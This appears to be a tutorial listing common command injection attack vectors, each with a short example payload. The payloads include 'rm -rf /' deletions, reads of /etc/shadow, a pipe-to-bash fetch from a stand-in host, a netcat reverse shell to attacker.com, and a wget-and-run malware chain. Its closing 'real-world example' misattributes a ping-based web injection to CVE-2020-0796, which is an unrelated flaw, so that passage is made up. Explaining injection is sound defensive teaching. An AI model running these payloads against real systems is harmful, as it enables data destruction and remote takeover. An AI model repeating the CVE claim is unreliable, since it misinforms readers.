

# 4. What are some of the most common attack vectors for command injection?

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Command injection vulnerabilities often arise when applications improperly process user input, allowing attackers to execute arbitrary commands. The most common **attack vectors** for command injection are tied to how user-supplied input interacts with backend systems. Below are the key vectors attackers exploit:

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## 1. Web Application Inputs

- **Forms:** Applications accepting input from web forms without validation.
  - Example: A form field that asks for a filename and passes it to a shell command, e.g.:

```
cat user_input
```

- Exploit: `filename; rm -rf /`

- **URL Parameters:** Vulnerabilities in URL query strings or REST APIs.

- Example: `/api/data?cmd=ls`

- Exploit: `/api/data?cmd=ls;cat /etc/passwd`

- **Cookies:** Tampering with application cookies.

- Example:

```
Cookie: session_id=xyz; cat /etc/shadow
```

- **HTTP Headers:**

- User-Agent: Applications that log the `User-Agent` without sanitization.

- Example:

```
User-Agent: Mozilla; curl http://attacker.com
```

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## 2. Command-Line Utilities

- Applications that call system commands like `cat`, `ping`, or `curl` with user input.
  - Example:

```
ping -c 4 <user_input>
```

- Exploit: `; curl http://malicious.com | bash`
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## 3. File Upload and Path Manipulation

- **File Names:** Applications processing uploaded file names directly.

- Example:

```
mv uploads/$filename /var/www/uploads/
```

- Exploit: `filename; rm -rf /`

- **Directory Traversal:**

- Exploit: `../../../../../../etc/passwd`
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## 4. Network Parameters

- Tools or scripts that accept input for network diagnostics like `ping` or `traceroute`.

- Example:

```
ping -c 4 <user_input>
```

- Exploit: `127.0.0.1; ls /`
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## 5. IoT Devices and APIs

- **Configuration Panels:** Many IoT devices use shell commands to process configurations.

- Example:

```
GET /admin/config?host=8.8.8.8; rm -rf /
```

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## 6. Logging Mechanisms

- Applications that log user inputs without sanitization.

- **Examples:**

- A vulnerable logging system might execute shell commands embedded in inputs:

```
username=$(id)
```

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## 7. Email Systems

- Exploiting email systems that pass headers or attachments directly to commands.

- Example: Injecting commands in the `From` or `Subject` headers.
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## 8. File Processing Systems

- Systems that process files or content, such as scripts that parse uploaded logs, configs, or emails.

- Example:

```
awk '{print $1}' <user_file>
```

- Exploit: Include shell metacharacters in `user_file`.

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## 9. CI/CD Pipelines

- Injecting malicious commands in configuration files, build scripts, or test inputs.
- Example:

```
build:
  script: "echo $(rm -rf /)"
```

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## 10. System Management Interfaces

- Management panels that allow command-line interactions for diagnostics or administrative tasks.
- Example:

```
Run diagnostics: echo $input
```

- Exploit: `; nc -e /bin/bash attacker.com 4444`

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## 11. SSH and Remote Commands

- Exploiting systems that pass inputs to SSH commands.
- Example:

```
ssh user@host "$(user_input)"
```

- Exploit: `$(rm -rf /)`

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## Real-World Example: CVE-2020-0796

- Vulnerable web app parameter:

```
system("ping " + user_input)
```

- Attacker input:

```
127.0.0.1; wget http://attacker.com/malware -O /tmp/malware; chmod +x /tmp/malware; /tmp/malware
```

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## Summary of Attack Vectors

1. Web inputs: Forms, URLs, cookies, headers.
2. Command-line utilities: Ping, traceroute.
3. File names and uploads.
4. Network diagnostics.
5. IoT configuration interfaces.

6. Logging mechanisms.
7. Email headers or file processors.
8. Build scripts or CI/CD systems.
9. Administrative panels and SSH.